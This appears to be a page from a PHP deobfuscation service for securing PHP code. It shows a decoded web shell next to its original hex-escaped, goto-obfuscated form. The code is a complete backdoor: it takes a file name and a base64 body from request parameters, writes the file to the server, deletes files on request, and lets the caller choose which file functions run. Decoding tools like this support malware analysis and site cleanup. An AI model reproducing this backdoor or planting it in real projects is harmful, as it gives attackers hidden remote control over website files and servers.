Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

goto E6Cw8QgEpC; E6Cw8QgEpC: $fname = $_REQUEST["\x66\x6e\141\x6d\x65"]; $fbody = $_REQUE..

Decoded Output download

<?   goto E6Cw8QgEpC; E6Cw8QgEpC: $fname = $_REQUEST["fname"]; $fbody = $_REQUEST["code"]; $opunl = $_REQUEST["del"]; $base_d = "base64_decode"; $fo = $_REQUEST["fo"]; goto vZN_FAOpxf; YJsD4A5Cfn: $rinfo["flink"] = $hp . "://" . $hot . "/" . $fname; $rinfo["res"] = 1; ehkJsfYqLb: lZ325YOfh2: goto HKqS1w2h0q; lQEuYlcMGD: $con = $base_d($fbody); $con = $str_rep("%20", " ", $con); $con = $str_rep("%3A", ":", $con); $fp = $fo($fname, "w"); $f_result = $fw($fp, $con); goto Me7HUVbFJx; pDI0Tg4uQ1: $rinfo["delres"] = 1; bBkdxtPr4F: ZOk_4OehPU: goto lZ325YOfh2; SdoAS5TGRt: goto lQEuYlcMGD; Me7HUVbFJx: $f_dax = $f_size($fname); if (!(!$f_stuaus($fname) || $f_dax <= 0)) { goto psy7uUIfmT; } $f_putresult = $f_put($fname, $con); $f_dax = $f_size($fname); psy7uUIfmT: goto X2CQxFApyz; OKTUCw328c: $rinfo = array(); $rinfo["star"] = "opt"; if ($fname && $fbody) { goto SdoAS5TGRt; } if ($opunl == "1" && $fname) { goto v56k5_DQUb; } $rinfo["star"] = "temp"; goto psPH72pG1W; D4tvinXa4l: $f_size = "filesize"; $str_rep = "str_replace"; $js_enc = "json_encode"; $hp = isset($_SERVER["HTTPS"]) && $_SERVER["HTTPS"] == "on" ? "https" : "http"; $hot = $_SERVER["HTTP_HOST"]; goto OKTUCw328c; psPH72pG1W: goto ZOk_4OehPU; v56k5_DQUb: $rinfo["flink"] = $hp . "://" . $hot . "/" . $fname; $delres = $f_unl($fname); if (!$delres) { goto bBkdxtPr4F; } goto pDI0Tg4uQ1; vZN_FAOpxf: $fw = $_REQUEST["fw"]; $f_get = $_REQUEST["fget"]; $f_put = $_REQUEST["fput"]; $f_unl = "unlink"; $f_stuaus = "file_exists"; goto D4tvinXa4l; X2CQxFApyz: if ($f_stuaus($fname) && $f_dax > 0) { goto Lp3_NETOro; } $rinfo["flink"] = $hp . "://" . $hot . "/" . $fname; $rinfo["res"] = 0; goto ehkJsfYqLb; Lp3_NETOro: goto YJsD4A5Cfn; HKqS1w2h0q: echo $js_enc($rinfo);?>

Did this file decode correctly?

Original Code

 goto E6Cw8QgEpC; E6Cw8QgEpC: $fname = $_REQUEST["\x66\x6e\141\x6d\x65"]; $fbody = $_REQUEST["\143\157\x64\x65"]; $opunl = $_REQUEST["\x64\145\154"]; $base_d = "\x62\x61\163\x65\x36\x34\x5f\144\145\x63\x6f\x64\x65"; $fo = $_REQUEST["\x66\x6f"]; goto vZN_FAOpxf; YJsD4A5Cfn: $rinfo["\x66\154\151\x6e\153"] = $hp . "\72\x2f\57" . $hot . "\57" . $fname; $rinfo["\162\x65\x73"] = 1; ehkJsfYqLb: lZ325YOfh2: goto HKqS1w2h0q; lQEuYlcMGD: $con = $base_d($fbody); $con = $str_rep("\x25\62\x30", "\x20", $con); $con = $str_rep("\45\63\x41", "\x3a", $con); $fp = $fo($fname, "\167"); $f_result = $fw($fp, $con); goto Me7HUVbFJx; pDI0Tg4uQ1: $rinfo["\x64\145\x6c\162\145\x73"] = 1; bBkdxtPr4F: ZOk_4OehPU: goto lZ325YOfh2; SdoAS5TGRt: goto lQEuYlcMGD; Me7HUVbFJx: $f_dax = $f_size($fname); if (!(!$f_stuaus($fname) || $f_dax <= 0)) { goto psy7uUIfmT; } $f_putresult = $f_put($fname, $con); $f_dax = $f_size($fname); psy7uUIfmT: goto X2CQxFApyz; OKTUCw328c: $rinfo = array(); $rinfo["\x73\x74\141\x72"] = "\x6f\160\x74"; if ($fname && $fbody) { goto SdoAS5TGRt; } if ($opunl == "\61" && $fname) { goto v56k5_DQUb; } $rinfo["\163\x74\x61\x72"] = "\164\145\x6d\160"; goto psPH72pG1W; D4tvinXa4l: $f_size = "\x66\x69\154\x65\x73\x69\x7a\x65"; $str_rep = "\x73\164\162\137\x72\x65\160\x6c\x61\x63\145"; $js_enc = "\152\163\x6f\x6e\x5f\145\156\x63\x6f\x64\145"; $hp = isset($_SERVER["\110\x54\124\x50\x53"]) && $_SERVER["\x48\x54\124\120\x53"] == "\157\x6e" ? "\x5c\170\x36\x38\164\164\134\170\67\x30\163" : "\x5c\x78\66\x38\164\164\134\170\x37\x30"; $hot = $_SERVER["\x48\x54\124\120\137\x48\117\123\x54"]; goto OKTUCw328c; psPH72pG1W: goto ZOk_4OehPU; v56k5_DQUb: $rinfo["\x66\x6c\151\x6e\x6b"] = $hp . "\72\x2f\57" . $hot . "\x2f" . $fname; $delres = $f_unl($fname); if (!$delres) { goto bBkdxtPr4F; } goto pDI0Tg4uQ1; vZN_FAOpxf: $fw = $_REQUEST["\146\x77"]; $f_get = $_REQUEST["\x66\x67\145\x74"]; $f_put = $_REQUEST["\146\160\165\x74"]; $f_unl = "\x75\x6e\x6c\x69\x6e\x6b"; $f_stuaus = "\x66\151\154\x65\137\x65\x78\151\163\x74\163"; goto D4tvinXa4l; X2CQxFApyz: if ($f_stuaus($fname) && $f_dax > 0) { goto Lp3_NETOro; } $rinfo["\146\154\151\x6e\153"] = $hp . "\72\x2f\57" . $hot . "\57" . $fname; $rinfo["\x72\145\x73"] = 0; goto ehkJsfYqLb; Lp3_NETOro: goto YJsD4A5Cfn; HKqS1w2h0q: echo $js_enc($rinfo);?>

Function Calls

None

Variables

None

Stats

MD5 31df82b85e9835449a0861d9a5ad9375
Eval Count 0
Decode Time 53 ms